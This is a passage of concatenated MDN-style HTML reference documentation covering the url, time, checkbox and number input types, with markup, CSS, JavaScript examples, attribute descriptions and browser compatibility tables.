something like "The entered text doesn't match the required pattern. The URL should be in a myco domain." **Note:** If you run into trouble while writing your validation regular expressions and they're not working properly, check your browser's console; there may be helpful error messages there to aid you in solving the problem. Examples -------- There's not much else to say about `url` type inputs; check the [Pattern validation](#pattern_validation) and [Using URL inputs](#using_url_inputs) sections for numerous examples. You can also find our [pattern validation example on GitHub](https://github.com/mdn/learning-area/blob/main/html/forms/url-example/index.html) (see it [running live also](https://mdn.github.io/learning-area/html/forms/url-example/)). Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing a URL, or empty | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported Common Attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`maxlength`](../input#attr-maxlength), [`minlength`](../input#attr-minlength), [`pattern`](../input#attr-pattern), [`placeholder`](../input#attr-placeholder), [`readonly`](../input#attr-readonly), [`required`](../input#attr-required) and [`size`](../input#attr-size) | | **IDL attributes** | `list`, `value`, `selectionEnd`, `selectionDirection` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`setRangeText()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setRangeText) and [`setSelectionRange()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange). | Specifications -------------- | Specification | | --- | | [HTML Standard # url-state-(type=url)](https://html.spec.whatwg.org/multipage/input.html#url-state-(type=url)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `url` | 1 | 12 | Yes | 10 | 11 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [HTML forms guide](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [`<input>`](../input) * [`<input type="tel">`](tel) * [`<input type="email">`](email) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="time"> <input type="time"> =================== [`<input>`](../input) elements of type `time` create input fields designed to let the user easily enter a time (hours and minutes, and optionally seconds). The control's user interface varies from browser to browser; see [Browser compatibility](#browser_compatibility) for further details. In unsupported browsers, the control degrades gracefully to [`<input type="text">`](text). Try it ------ Appearance ---------- ### Chrome and Opera In Chrome/Opera the `time` control is simple, with slots to enter hours and minutes in 12 or 24-hour format depending on operating system locale, and up and down arrows to increment and decrement the currently selected component. In some versions, an "X" button is provided to clear the control's value. 12-hour 24-hour ### Firefox Firefox's `time` control is very similar to Chrome's, except that it doesn't have the up and down arrows. It also uses a 12- or 24-hour format for inputting times, based on system locale. An "X" button is provided to clear the control's value. 12-hour 24-hour ### Edge The Edge `time` control is somewhat more elaborate, opening up an hour and minute picker with sliding reels. It, like Chrome, uses a 12- or 24-hour format for inputting times, based on system locale: 12-hour 24-hour | | | | --- | --- | | **[Value](#value)** | A string representing a time, or empty. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`readonly`](../input#attr-readonly), and [`step`](../input#attr-step) | | **IDL attributes** | `value`, `valueAsDate`, `valueAsNumber`, and `list`. | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`stepDown()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepDown), and [`stepUp()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepUp). | Value ----- A string containing the value of the time entered into the input. ### Setting the value attribute You can set a default value for the input by including a valid time in the [`value`](../input#attr-value) attribute when creating the `<input>` element, like so: ``` <label for="appt-time">Choose an appointment time: </label> <input id="appt-time" type="time" name="appt-time" value="13:30" /> ``` ### Setting the value using JavaScript You can also get and set the time value in JavaScript using the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property, for example: ``` const timeControl = document.querySelector('input[type="time"]'); timeControl.value = '15:30'; ``` ### Time value format The `value` of the `time` input is always in 24-hour format that includes leading zeros: `hh:mm`, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent). If the time includes seconds (see [Using the step attribute](#using_the_step_attribute)), the format is always `hh:mm:ss`. You can learn more about the format of the time value used by this input type in [Time strings](../../date_and_time_formats#time_strings) in [Date and time formats used in HTML](../../date_and_time_formats). In this example, you can see the time input's value by entering a time and seeing how it changes afterward. First, a look at the HTML. This is simple enough, with the label and input as we've seen before, but with the addition of a [`<p>`](../p) element with a [`<span>`](../span) to display the value of the `time` input: ``` <form> <label for="startTime">Start time: </label> <input type="time" id="startTime" /> <p> Value of the <code>time</code> input: <code> "<span id="value">n/a</span>"</code>. </p> </form> ``` The JavaScript code adds code to the time input to watch for the [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) event, which is triggered every time the contents of an input element change. When this happens, the contents of the `<span>` are replaced with the new value of the input element. ``` const startTime = document.getElementById("startTime"); const valueSpan = document.getElementById("value"); startTime.addEventListener("input", () => { valueSpan.innerText = startTime.value; }, false); ``` When a form including a `time` input is submitted, the value is encoded before being included in the form's data. The form's data entry for a time input will always be in the form `name=hh%3Amm`, or `name=hh%3Amm%3Ass` if seconds are included (see [Using the step attribute](#using_the_step_attribute)). Additional attributes --------------------- In addition to the attributes common to all [`<input>`](../input) elements, `time` inputs offer the following attributes. **Note:** Unlike many data types, time values have a **periodic domain**, meaning that the values reach the highest possible value, then wrap back around to the beginning again. For example, specifying a `min` of `14:00` and a `max` of `2:00` means that the permitted time values start at 2:00 PM, run through midnight to the next day, ending at 2:00 AM. See more in the [making min and max cross midnight](#making_min_and_max_cross_midnight) section of this article. ### list The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### max A string indicating the latest time to accept, specified in the same [time value format](#time_value_format) as described above. If the specified string isn't a valid time, no maximum value is set. ### min A string specifying the earliest time to accept, given in the [time value format](#time_value_format) described previously. If the value specified isn't a valid time string, no minimum value is set. ### readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### step The `step` attribute is a number that specifies the granularity that the value must adhere to, or the special value `any`, which is described below. Only values which are equal to the basis for stepping ([`min`](#min) if specified, [`value`](../input#attr-value) otherwise, and an appropriate default value if neither of those is provided) are valid. A string value of `any` means that no stepping is implied, and any value is allowed (barring other constraints, such as [`min`](#min) and [`max`](#max)). **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options. For `time` inputs, the value of `step` is given in seconds, with a scaling factor of 1000 (since the underlying numeric value is in milliseconds). The default value of `step` is 60, indicating 60 seconds (or 1 minute, or 60,000 milliseconds). *At this time, it's unclear what a value of `any` means for `step` when used with `time` inputs. This will be updated as soon as that information is determined.* Using time inputs ----------------- ### Basic uses of time The simplest use of `<input type="time">` involves a basic `<input>` and [`<label>`](../label) element combination, as seen below: ``` <form> <label for="appt-time">Choose an appointment time: </label> <input id="appt-time" type="time" name="appt-time" /> </form> ``` ### Controlling input size `<input type="time">` doesn't support form sizing attributes such as [`size`](../input#attr-size), since times are always about the same number of characters long. You'll have to resort to [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) for sizing needs. ### Using the step attribute You can use the [`step`](../input#attr-step) attribute to vary the amount of time jumped whenever the time is incremented or decremented (for example, so the time moves by 10 minutes at a time when clicking the little arrow widgets). **Note:** This property has some strange effects across browsers, so is not completely reliable. It takes an integer value that equates to the number of seconds you want to increment by; the default value is 60 seconds, or one minute. If you specify a value of less than 60 seconds (1 minute), the `time` input will show a seconds input area alongside the hours and minutes: ``` <form> <label for="appt-time">Choose an appointment time: </label> <input id="appt-time" type="time" name="appt-time" step="2" /> </form> ``` In Chrome and Opera, which are the only browsers to show up/down iteration arrows, clicking the arrows changes the seconds value by two seconds, but doesn't affect the hours or minutes. Minutes (or hours) can only be used for stepping when you specify a number of minutes (or hours) in seconds, such as 120 for 2 minutes, or 7200 for 2 hours). In Firefox, there are no arrows, so the `step` value isn't used. However, providing it *does* add the seconds input area adjacent to the minutes section. The steps value seems to have no effect in Edge. **Note:** Using `step` seems to cause validation to not work properly (as seen in the next section). Validation ---------- By default, `<input type="time">` does not apply any validation to entered values, other than the user agent's interface generally not allowing you to enter anything other than a time value. This is helpful (assuming the `time` input is fully supported by the user agent), but you can't entirely rely on the value to be a proper time string, since it might be an empty string (`""`), which is allowed. It's also possible for the value to look roughly like a valid time but not be correct, such as `25:05`. ### Setting maximum and minimum times You can use the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes to restrict the valid times that can be chosen by the user. In the following example we are setting a minimum time of `12:00` and a maximum time of `18:00`: ``` <form> <label for="appt-time"> Choose an appointment time (opening hours 12:00 to 18:00): </label> <input id="appt-time" type="time" name="appt-time" min="12:00" max="18:00" /> <span class="validity"></span> </form> ``` Here's the CSS used in the above example. Here we make use of the [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS properties to style the input based on whether the current value is valid. We had to put the icons on a [`<span>`](../span) next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively. ``` div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid + span::after { position: absolute; content: "✖"; padding-left: 5px; } input:valid + span::after { position: absolute; content: "✓"; padding-left: 5px; } ``` The result here is that: * Only times between 12:00 and 18:00 will be seen as valid; times outside that range will be denoted as invalid. * Depending on what browser you're using, you might find that times outside the specified range might not even be selectable in the time picker (e.g. Edge). #### Making min and max cross midnight By setting a [`min`](../input#attr-min) attribute greater than the [`max`](../input#attr-max) attribute, the valid time range will wrap around midnight to produce a valid time range which crosses midnight. This functionality is not supported by any other input types. While this feature is [in the HTML spec](https://html.spec.whatwg.org/multipage/input.html#has-a-reversed-range), it is not yet universally supported. Chrome-based browsers support it starting in version 82 and Firefox added it in version 76. Safari as of version 14.1 does not support this. Be prepared for this situation to arise: ``` const input = document.createElement('input'); input.type = 'time'; input.min = '23:00'; input.max = '01:00'; input.value = '23:59'; if (input.validity.valid && input.type === 'time') { // <input type=time> reversed range supported } else { // <input type=time> reversed range unsupported } ``` ### Making times required In addition, you can use the [`required`](../input#attr-required) attribute to make filling in the time mandatory. As a result, supporting browsers will display an error if you try to submit a time that is outside the set bounds, or an empty time field. Let's look at an example; here we've set minimum and maximum times, and also made the field required: ``` <form> <div> <label for="appt-time"> Choose an appointment time (opening hours 12:00 to 18:00): </label> <input id="appt-time" type="time" name="appt-time" min="12:00" max="18:00" required /> <span class="validity"></span> </div> <div> <input type="submit" value="Submit form" /> </div> </form> ``` If you try to submit the form with an incomplete time (or with a time outside the set bounds), the browser displays an error. Try playing with the example now: **Warning:** HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth). Handling browser support ------------------------ As mentioned, older versions of Safari and a few other, less common, browsers don't support time inputs natively. In general, otherwise, support is good — especially on mobile platforms, which tend to have very nice user interfaces for specifying a time value. For example, the `time` picker on Chrome for Android looks like this: Browsers that don't support time inputs gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. The second problem is the more serious; as mentioned previously, `time` inputs' values are always normalized to the format `hh:mm` or `hh:mm:ss`. With a text input, on the other hand, by default the browser has no idea of what format the time should be in, and there are multiple ways in which people write times, such as: * `3.00 pm` * `3:00pm` * `15:00` * `3 o'clock in the afternoon` * etc. One way around this is to put a [`pattern`](../input#attr-pattern) attribute on your `time` input. Even though the `time` input doesn't use it, the `text` input fallback will. For example, try viewing the following demo in a browser that doesn't support time inputs: ``` <form> <div> <label for="appt-time"> Choose an appointment time (opening hours 12:00 to 18:00): </label> <input id="appt-time" type="time" name="appt-time" min="12:00" max="18:00" required pattern="[0-9]{2}:[0-9]{2}" /> <span class="validity"></span> </div> <div> <input type="submit" value="Submit form" /> </div> </form> ``` If you try submitting it, you'll see that non-supporting browsers now display an error message (and highlight the input as invalid) if your entry doesn't match the pattern `nn:nn`, where `n` is a number from 0 to 9. Of course, this doesn't stop people from entering invalid times, or incorrectly formatted times that follow the pattern. Then there's the problem of the user having no idea exactly what format the time is expected to be in. The best way to deal with times in forms in a cross-browser way, for the time being, is to get the user to enter the hours and minutes (and seconds if required) in separate controls ([`<select>`](../select) elements are popular; see below for an example), or use JavaScript libraries such as the [jQuery timepicker plugin](https://timepicker.co/). Examples -------- In this example, we create two sets of interface elements for choosing times: a native picker created with `<input type="time">`, and a set of two [`<select>`](../select) elements for choosing hours/minutes in older browsers that don't support the native input. The HTML looks like so: ``` <form> <div class="nativeTimePicker"> <label for="appt-time"> Choose an appointment time (opening hours 12:00 to 18:00): </label> <input id="appt-time" type="time" name="appt-time" min="12:00" max="18:00" required /> <span class="validity"></span> </div> <p class="fallbackLabel"> Choose an appointment time (opening hours 12:00 to 18:00): </p> <div class="fallbackTimePicker"> <div> <span> <label for="hour">Hour:</label> <select id="hour" name="hour"></select> </span> <span> <label for="minute">Minute:</label> <select id="minute" name="minute"></select> </span> </div> </div> </form> ``` The hour and minutes values for their `<select>` elements are dynamically generated. The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports `<input type="time">`, we create a new [`<input>`](../input) element, try setting its `type` to `time`, then immediately check what its type is set to — non-supporting browsers will return `text`, because the `time` type falls back to type `text`. If `<input type="time">` is not supported, we hide the native picker and show the fallback picker UI ([`<select>`](../select)s) instead. ``` // Define variables const nativePicker = document.querySelector('.nativeTimePicker'); const fallbackPicker = document.querySelector('.fallbackTimePicker'); const fallbackLabel = document.querySelector('.fallbackLabel'); const hourSelect = document.querySelector('#hour'); const minuteSelect = document.querySelector('#minute'); // Hide fallback initially fallbackPicker.style.display = 'none'; fallbackLabel.style.display = 'none'; // Test whether a new time input falls back to a text input or not const test = document.createElement('input'); try { test.type = 'time'; } catch (e) { console.log(e.description); } // If it does, run the code inside the if () {} block if (test.type === 'text') { // Hide the native picker and show the fallback nativePicker.style.display = 'none'; fallbackPicker.style.display = 'block'; fallbackLabel.style.display = 'block'; // Populate the hours and minutes dynamically populateHours(); populateMinutes(); } function populateHours() { // Populate the hours <select> with the 6 open hours of the day for (let i = 12; i <= 18; i++) { const option = document.createElement('option'); option.textContent = i; hourSelect.appendChild(option); } } function populateMinutes() { // populate the minutes <select> with the 60 hours of each minute for (let i = 0; i <= 59; i++) { const option = document.createElement('option'); option.textContent = (i < 10) ? `0${i}` : i; minuteSelect.appendChild(option); } } // make it so that if the hour is 18, the minutes value is set to 00 // — you can't select times past 18:00 function setMinutesToZero() { if (hourSelect.value === '18') { minuteSelect.value = '00'; } } hourSelect.onchange = setMinutesToZero; minuteSelect.onchange = setMinutesToZero; ``` Specifications -------------- | Specification | | --- | | [HTML Standard # time-state-(type=time)](https://html.spec.whatwg.org/multipage/input.html#time-state-(type=time)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `time` | 20 | 12 | 57 | No | 10 | 14.1 | Yes | 25 | 57 | Yes | Yes | 1.5 | See also -------- * The generic [`<input>`](../input) element and the interface used to manipulate it, [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) * [Date and time formats used in HTML](../../date_and_time_formats) * [Date and Time picker tutorial](https://developer.mozilla.org/en-US/docs/Learn/Forms/Basic_native_form_controls#date_and_time_picker) * [`<input type="datetime-local">`](datetime-local), [`<input type="date">`](date), [`<input type="week">`](week), and [`<input type="month">`](month) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="checkbox"> <input type="checkbox"> ======================= [`<input>`](../input) elements of type `checkbox` are rendered by default as boxes that are checked (ticked) when activated, like you might see in an official government paper form. The exact appearance depends upon the operating system configuration under which the browser is running. Generally this is a square but it may have rounded corners. A checkbox allows you to select single values for submission in a form (or not). Try it ------ **Note:** [Radio buttons](radio) are similar to checkboxes, but with an important distinction — radio buttons are grouped into a set in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off. Where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. Value ----- A string representing the value of the checkbox. This is not displayed on the client-side, but on the server this is the `value` given to the data submitted with the checkbox's `name`. Take the following example: ``` <form> <div> <input type="checkbox" id="subscribeNews" name="subscribe" value="newsletter" /> <label for="subscribeNews">Subscribe to newsletter?</label> </div> <div> <button type="submit">Subscribe</button> </div> </form> ``` In this example, we've got a name of `subscribe`, and a value of `newsletter`. When the form is submitted, the data name/value pair will be `subscribe=newsletter`. If the `value` attribute was omitted, the default value for the checkbox is `on`, so the submitted data in that case would be `subscribe=on`. **Note:** If a checkbox is unchecked when its form is submitted, there is no value submitted to the server to represent its unchecked state (e.g. `value=unchecked`); the value is not submitted to the server at all. If you wanted to submit a default value for the checkbox when it is unchecked, you could include an [<input type="hidden">](hidden) inside the form with the same `name` and `value`, generated by JavaScript perhaps. Additional attributes --------------------- In addition to the common attributes shared by all [`<input>`](../input) elements, "`checkbox`" inputs support the following attributes. [**`checked`**](#attr-checked) A Boolean attribute indicating whether this checkbox is checked by default (when the page loads). It does *not* indicate whether this checkbox is currently checked: if the checkbox's state is changed, this content attribute does not reflect the change. (Only the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement)'s `checked` IDL attribute is updated.) **Note:** Unlike other input controls, a checkbox's value is only included in the submitted data if the checkbox is currently `checked`. If it is, then the value of the checkbox's `value` attribute is reported as the input's value. Unlike other browsers, Firefox by default [persists the dynamic checked state](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of an `<input>` across page loads. Use the [`autocomplete`](../input#attr-autocomplete) attribute to control this feature. [**`value`**](#attr-value) The `value` attribute is one which all [`<input>`](../input)s share; however, it serves a special purpose for inputs of type `checkbox`: when a form is submitted, only checkboxes which are currently checked are submitted to the server, and the reported value is the value of the `value` attribute. If the `value` is not otherwise specified, it is the string `on` by default. This is demonstrated in the section [Value](#value) above. Using checkbox inputs --------------------- We already covered the most basic use of checkboxes above. Let's now look at the other common checkbox-related features and techniques you'll need. ### Handling multiple checkboxes The example we saw above only contained one checkbox; in real-world situations you'll be likely to encounter multiple checkboxes. If they are completely unrelated, then you can just deal with them all separately, as shown above. However, if they're all related, things are not quite so simple. For example, in the following demo we include multiple checkboxes to allow the user to select their interests (see the full version in the [Examples](#examples) section). ``` <fieldset> <legend>Choose your interests</legend> <div> <input type="checkbox" id="coding" name="interest" value="coding" /> <label for="coding">Coding</label> </div> <div> <input type="checkbox" id="music" name="interest" value="music" /> <label for="music">Music</label> </div> </fieldset> ``` In this example you will see that we've given each checkbox the same `name`. If both checkboxes are checked and then the form is submitted, you'll get a string of name/value pairs submitted like this: `interest=coding&interest=music`. When this string reaches the server, you need to parse it other than as an associative array, so all values, not only the last value, of `interest` are captured. For one technique used with Python, see [Handle Multiple Checkboxes with a Single Serverside Variable](https://stackoverflow.com/questions/18745456/handle-multiple-checkboxes-with-a-single-serverside-variable), for example. ### Checking boxes by default To make a checkbox checked by default, you give it the `checked` attribute. See the below example: ``` <fieldset> <legend>Choose your interests</legend> <div> <input type="checkbox" id="coding" name="interest" value="coding" checked /> <label for="coding">Coding</label> </div> <div> <input type="checkbox" id="music" name="interest" value="music" /> <label for="music">Music</label> </div> </fieldset> ``` ### Providing a bigger hit area for your checkboxes In the above examples, you may have noticed that you can toggle a checkbox by clicking on its associated [`<label>`](../label) element as well as on the checkbox itself. This is a really useful feature of HTML form labels that makes it easier to click the option you want, especially on small-screen devices like smartphones. Beyond accessibility, this is another good reason to properly set up `<label>` elements on your forms. ### Indeterminate state checkboxes In addition to the checked and unchecked states, there is a third state a checkbox can be in: **indeterminate**. This is a state in which it's impossible to say whether the item is toggled on or off. This is set using the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) object's `indeterminate` property via JavaScript (it cannot be set using an HTML attribute): ``` inputInstance.indeterminate = true; ``` A checkbox in the indeterminate state has a horizontal line in the box (it looks somewhat like a hyphen or minus sign) instead of a check/tick in most browsers. There are not many use cases for this property. The most common is when a checkbox is available that "owns" a number of sub-options (which are also checkboxes). If all of the sub-options are checked, the owning checkbox is also checked, and if they're all unchecked, the owning checkbox is unchecked. If any one or more of the sub-options have a different state than the others, the owning checkbox is in the indeterminate state. This can be seen in the below example (thanks to [CSS Tricks](https://css-tricks.com/indeterminate-checkboxes/) for the inspiration). In this example we keep track of the ingredients we are collecting for a recipe. When you check or uncheck an ingredient's checkbox, a JavaScript function checks the total number of checked ingredients: * If none are checked, the recipe name's checkbox is set to unchecked. * If one or two are checked, the recipe name's checkbox is set to `indeterminate`. * If all three are checked, the recipe name's checkbox is set to `checked`. So in this case the `indeterminate` state is used to state that collecting the ingredients has started, but the recipe is not yet complete. ``` const overall = document.querySelector('#enchantment'); const ingredients = document.querySelectorAll('ul input'); overall.addEventListener('click', (e) => { e.preventDefault(); }); for (const ingredient of ingredients) { ingredient.addEventListener('click', updateDisplay); } function updateDisplay() { let checkedCount = 0; for (const ingredient of ingredients) { if (ingredient.checked) { checkedCount++; } } if (checkedCount === 0) { overall.checked = false; overall.indeterminate = false; } else if (checkedCount === ingredients.length) { overall.checked = true; overall.indeterminate = false; } else { overall.checked = false; overall.indeterminate = true; } } ``` **Note:** If you submit a form with an indeterminate checkbox, the same thing happens as if the checkbox were unchecked — no data is submitted to represent the checkbox. Validation ---------- Checkboxes do support [validation](../../constraint_validation) (offered to all [`<input>`](../input)s). However, most of the [`ValidityState`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState)s will always be `false`. If the checkbox has the [`required`](../input#attr-required) attribute, but is not checked, then [`ValidityState.valueMissing`](https://developer.mozilla.org/en-US/docs/Web/API/ValidityState/valueMissing) will be `true`. Examples -------- The following example is an extended version of the "multiple checkboxes" example we saw above — it has more standard options, plus an "other" checkbox that when checked causes a text field to appear to enter a value for the "other" option. This is achieved with a simple block of JavaScript. The example also includes some CSS to improve the styling. ### HTML ``` <form> <fieldset> <legend>Choose your interests</legend> <div> <input type="checkbox" id="coding" name="interest" value="coding" /> <label for="coding">Coding</label> </div> <div> <input type="checkbox" id="music" name="interest" value="music" /> <label for="music">Music</label> </div> <div> <input type="checkbox" id="art" name="interest" value="art" /> <label for="art">Art</label> </div> <div> <input type="checkbox" id="sports" name="interest" value="sports" /> <label for="sports">Sports</label> </div> <div> <input type="checkbox" id="cooking" name="interest" value="cooking" /> <label for="cooking">Cooking</label> </div> <div> <input type="checkbox" id="other" name="interest" value="other" /> <label for="other">Other</label> <input type="text" id="otherValue" name="other" /> </div> <div> <button type="submit">Submit form</button> </div> </fieldset> </form> ``` ### CSS ``` html { font-family: sans-serif; } form { width: 600px; margin: 0 auto; } div { margin-bottom: 10px; } fieldset { background: cyan; border: 5px solid blue; } legend { padding: 10px; background: blue; color: cyan; } ``` ### JavaScript ``` const otherCheckbox = document.querySelector('#other'); const otherText = document.querySelector('#otherValue'); otherText.style.visibility = 'hidden'; otherCheckbox.addEventListener('change', () => { if (otherCheckbox.checked) { otherText.style.visibility = 'visible'; otherText.value = ''; } else { otherText.style.visibility = 'hidden'; } }); ``` Technical Summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing the value of the checkbox. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | `checked` | | **IDL attributes** | `[checked](#attr-checked)`, `[indeterminate](#attr-indeterminate)` and `[value](#attr-value)` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) | Specifications -------------- | Specification | | --- | | [HTML Standard # checkbox-state-(type=checkbox)](https://html.spec.whatwg.org/multipage/input.html#checkbox-state-(type=checkbox)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `checkbox` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | See also -------- * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface which implements it. * The [`:checked`](https://developer.mozilla.org/en-US/docs/Web/CSS/:checked) and [`:indeterminate`](https://developer.mozilla.org/en-US/docs/Web/CSS/:indeterminate) CSS selectors let you style checkboxes based on their current state * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="number"> <input type="number"> ===================== [`<input>`](../input) elements of type `number` are used to let the user enter a number. They include built-in validation to reject non-numerical entries. The browser may opt to provide stepper arrows to let the user increase and decrease the value using their mouse or by tapping with a fingertip. Try it ------ On browsers that don't support inputs of type `number`, a `number` input falls back to type `text`. Value ----- A number representing the value of the number entered into the input. You can set a default value for the input by including a number inside the [`value`](../input#attr-value) attribute, like so: ``` <input id="number" type="number" value="42" /> ``` Additional attributes --------------------- In addition to the attributes commonly supported by all [`<input>`](../input) types, inputs of type `number` support these attributes. ### `list` The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### `max` The maximum value to accept for this input. If the [`value`](../input#attr-value) entered into the element exceeds this, the element fails [constraint validation](../../constraint_validation). If the value of the `max` attribute isn't a number, then the element has no maximum value. This value must be greater than or equal to the value of the `min` attribute. ### `min` The minimum value to accept for this input. If the [`value`](../input#attr-value) of the element is less than this, the element fails [constraint validation](../../constraint_validation). If a value is specified for `min` that isn't a valid number, the input has no minimum value. This value must be less than or equal to the value of the `max` attribute. ### `placeholder` The `placeholder` attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text *must not* include carriage returns or line feeds. If the control's content has one directionality ([LTR](https://developer.mozilla.org/en-US/docs/Glossary/LTR) or [RTL](https://developer.mozilla.org/en-US/docs/Glossary/RTL)) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see [How to use Unicode controls for bidi text](https://www.w3.org/International/questions/qa-bidi-unicode-controls) for more information. **Note:** Avoid using the `placeholder` attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See [Labels and placeholders](../input#labels_and_placeholders) in [<input>: The Input (Form Input) element](../input) for more information. ### `readonly` A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### `step` The `step` attribute is a number that specifies the granularity that the value must adhere to, or the special value `any`, which is described below. Only values which are equal to the basis for stepping ([`min`](#min) if specified, [`value`](../input#attr-value) otherwise, and an appropriate default value if neither of those is provided) are valid. A string value of `any` means that no stepping is implied, and any value is allowed (barring other constraints, such as [`min`](#min) and [`max`](#max)). **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options. The default stepping value for `number` inputs is `1`, allowing only integers to be entered—*unless* the stepping base is not an integer. Using number inputs ------------------- The `number` input type should only be used for incremental numbers, especially when spinbutton incrementing and decrementing are helpful to user experience. The `number` input type is not appropriate for values that happen to only consist of numbers but aren't strictly speaking a number, such as postal codes in many countries or credit card numbers. For non-numeric inputs, consider using a different input type, such as [`<input type="tel">`](tel) or other [`<input>`](../input) type with the [`inputmode`](../../global_attributes#inputmode) attribute: ``` <input type="text" 